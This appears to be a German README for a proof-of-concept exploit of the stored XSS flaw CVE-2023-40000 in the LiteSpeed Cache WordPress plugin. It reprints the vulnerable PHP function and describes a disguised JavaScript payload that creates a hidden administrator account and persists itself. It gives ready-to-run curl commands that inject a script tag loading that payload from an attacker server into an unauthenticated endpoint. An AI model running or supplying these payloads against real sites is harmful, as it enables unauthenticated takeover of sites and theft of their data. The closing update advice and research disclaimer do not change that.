
PoC für XSS-Sicherheitslücke im LiteSpeed Cache WordPress Plugin (CVE-2023-40000), die erhöhte Privilegien ermöglicht. Enthält Code, Erklärungen und Gegenmaßnahmen.
PoC für eine XSS-Sicherheitslücke im LiteSpeed Cache WordPress-Plugin, die erhöhte Berechtigungen ermöglicht. Diese Schwachstelle wurde in Version 5.7.0.1 des Plugins behoben und erhielt die Kennung CVE-2023-40000. Laut der erweiterten Ansichtsseite des Plugins verwenden etwa 35 % der Benutzer noch eine anfällige Version (<5.7.0.1), was etwa 1,8 Millionen Websites entspricht.
Aufgrund fehlender Eingabebereinigung in der update_cdn_status-Funktion können (nicht authentifizierte) Benutzer eine POST-Anfrage mit einem infizierten _msg-Formularwert senden, der gespeichert und dann im Admin-Bereich von WordPress angezeigt wird. Dies kann es jedem ermöglichen, Admin-Konten zu erstellen, seine Berechtigungen zu erweitern oder vertrauliche Informationen zu stehlen, indem einfach eine einzige nicht authentifizierte POST-Anfrage gesendet wird. Die anfällige Funktion finden Sie hier oder unten, und die Admin_Display::error-Funktion finden Sie hier.
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
Der Proof of Concept in diesem Repository enthält einen NodeJS-Express-Server, der entwickelt wurde, um die XSS-Nutzlast zu verschleiern und auszuliefern, während gleichzeitig eingehende Pings und Daten erfasst werden. Das Payload-Skript zeigt die möglichen Aktionen von Angreifern, die diese Schwachstelle ausnutzen: Es erstellt ein Admin-Konto mit dem Benutzernamen "wp-config-user" und dem Passwort "somepassword123". Die XSS-Nutzlast, die auch als admin-bar-reloaded.min getarnt ist, verbirgt das anfängliche XSS-Popup beim Laden, verbirgt den erstellten Benutzer vollständig auf der Admin-Seite users.php und wiederholt die anfängliche POST-Anforderung, um ein persistentes gespeichertes XSS aufrechtzuerhalten.
npm install aus, um die Abhängigkeiten zu installieren.node index.js.Verwenden Sie den folgenden cURL-Befehl, um die POST-Anfrage an den anfälligen Endpunkt zu senden:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
Die Inhalte dieses Repositorys werden ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Ich bin nicht verantwortlich für jeglichen Missbrauch oder illegale Aktivitäten, die aus der Verwendung dieses Proof of Concept resultieren. Darüber hinaus wurde auf der LiteSpeed-Cache-Plugin-Seite eine Warnung herausgegeben, die allen Benutzern rät, ihre Software aufgrund dieser bekannten Schwachstelle zu aktualisieren. Bitte stellen Sie sicher, dass Ihre Installationen auf Version 5.7.0.1 oder höher aktualisiert sind, um dieses Problem zu beheben.